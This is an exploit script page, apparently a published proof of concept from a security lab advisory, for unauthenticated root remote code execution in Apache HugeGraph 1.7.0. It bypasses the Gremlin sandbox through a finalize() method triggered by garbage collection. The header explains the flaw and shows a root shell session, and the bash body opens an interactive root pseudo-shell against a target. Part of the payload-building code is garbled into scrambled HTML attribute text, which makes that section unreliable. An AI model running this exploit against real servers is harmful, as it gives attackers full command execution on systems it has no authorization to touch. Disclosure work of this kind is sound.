Apache HugeGraph 1.7.0 Sandbox Bypass Remote Code Execution

<html><body><p>#!/usr/bin/env bash
#
#
# Apache HugeGraph 1.7.0 Sandbox Bypass Remote Code Execution
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://hugegraph.apache.org
# Affected version: 1.7.0 and 1.8.0-dev (master)
#
# Summary: HugeGraph is a full-stack graph system covering graph
# database, graph computing, and graph AI. It provides complete
# graph data processing capabilities from storage and real-time
# querying to offline analysis, and supports both Gremlin and Cypher
# query languages.
#
# Desc: Apache HugeGraph suffers from a remote code execution
# vulnerability caused by a bypass of its SecurityManager-based
# Gremlin execution sandbox. HugeGraph executes submitted Gremlin
# as Groovy and relies on a custom HugeSecurityManager to block
# operating system access, but that manager only denies calls
# whose current thread name identifies them as Gremlin threads.
# By defining a class whose finalize() method runs an operating
# system command and forcing garbage collection, the command
# executes on the JVM Finalizer thread, where the check does not
# apply, and the sandbox is bypassed. Because authentication is
# disabled in the default configuration, a remote attacker can
# reach the Gremlin endpoint and execute arbitrary OS commands
# with root privileges.
#
# ============================================================
# $ ./hg.sh 192.168.1.129 8080
# [*] priv8 root pseudo-shell @ http://192.168.1.129:8080/gremlin
# [*] self-test (id):
# uid=0(root) gid=0(root) groups=0(root)
#
# root@hugegreaph:/hugegraph-server# uname -r
# 7.0.12-linuxkit
#
# root@hugegraph:/hugegraph-server# id
# uid=0(root) gid=0(root) groups=0(root)
#
# root@hugegraph:/hugegraph-server# exit
# [*] bye
# ============================================================
#
# Tested on: GNU/Linux 7.0.12-linuxkit (aarch64)
#            GNU/Linux 6.12.76-linuxkit (aarch64)
#            GNU/Linux 6.8.0-88-generic (x86_64)
#            Groovy 2.5.14
#            OpenJDK 11
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research &amp; Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2026-6014
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6014
#
#
# 13.08.2026
#


set -uo pipefail
TGT="${1:-192.168.1.129}"
PORT="${2:-8080}"
URL="http://$TGT:$PORT/gremlin"
CWD="/hugegraph-server"

print_banner(){
  mapfile -t _ART &lt;&lt;'ART'
        .--'''''''''--.
     .'      .---.      '.
    /    .-----------.    \
   /        .-----.        \
   |       .-.   .-.       |
   |      /   \ /   \      |
    \    | .-. | .-. |    /
     '-._| | | | | | |_.-'
         | '-' | '-' |
          \___/ \___/
       _.-'  /   \  `-._
     .' _.--|     |--._ '.
     ' _...-|     |-..._ '
            |     |
            '.___.'
              | |
             _| |_
            /\( )/\
           /  ` '  \
          | |     | |
          '-'     '-'
          | |     | |
          | |     | |
          | |-----| |
       .`/  |     | |/`.
       |    |     |    |
       '._.'| .-. |'._.'
             \ | /
             | | |
             | | |
             | | |
            /| | |\
          .'_| | |_`.
          `. | | | .'
       .    /  |  \    .
      /o`.-'  / \  `-.`o\
     /o  o\ .'   `. /o  o\
     `.___.'       `.___.'
ART
  mapfile -t _INFO &lt;<info .="" a="" advisory="" and="" apache="" application="" as="" awk="" base64="" both="" bypassed="" class="" client-side.="" cmd="new" cmdb64="" command="" cve-2024-27348="" def="" do="" does:="" done="" echo="" endpoint.="" escape="" executes="" f="new" fileless:="" finalize="" for="" gremlin="" groovy="" gsub="" gtmpl="" hgs="" hgs.out="p.text" http="" https:="" hugegraph="" hugesecuritymanager.checkexec="" i="" id:="" if="" in="" info="" inside="" is="" java.util.concurrent.atomic.atomicboolean="" json="" jvm="" lab="" local="" n="${#_ART[@]};" name="" new="" not="" null="" of="" on="" out="null" output="" p='["/bin/bash",' p.waitfor="" payload="" post="" print="" print_banner="" printf="" protected="" rce="" read="" resp="" response="" returns="" runs="" s="System.currentTimeMillis()" sandbox="" science="" script="" securitymanager="" sed="" send="" sends="" server="" so="" srv="" static="" string="" system.currenttimemillis="" system.gc="" the="" then="" this="" thread="" thread.sleep="" throwable="" throws="" to="" tok="" tr="" tracked="" true="" unauthenticated="" usage:="" user.="" via="" void="" volatile="" ways="" what="" while="" whose="" worker="" zero="" zsl-2026-6014="">/dev/null
  else
    printf '%s\n' "$resp"
  fi
}

echo "[*] priv8 root pseudo-shell @ $URL"
echo "[*] self-test (id):"
send 'id'
echo

while true; do
  printf 'root@hugegraph:%s# ' "$CWD"
  IFS= read -r CMD || break
  [ -z "$CMD" ] &amp;&amp; continue
  case "$CMD" in exit|quit) break;; esac
  REQ="cd \"$CWD\" 2&gt;/dev/null; $CMD; printf '\n__CWD__:%s\n' \"\$(pwd)\""
  OUT=$(send "$REQ")
  NEWCWD=$(printf '%s' "$OUT" | sed -n 's/^__CWD__://p' | tail -1)
  printf '%s' "$OUT" | sed '/^__CWD__:/d'
  [ -n "$NEWCWD" ] &amp;&amp; CWD="$NEWCWD"
done
echo "[*] bye"
</info></p></body></html>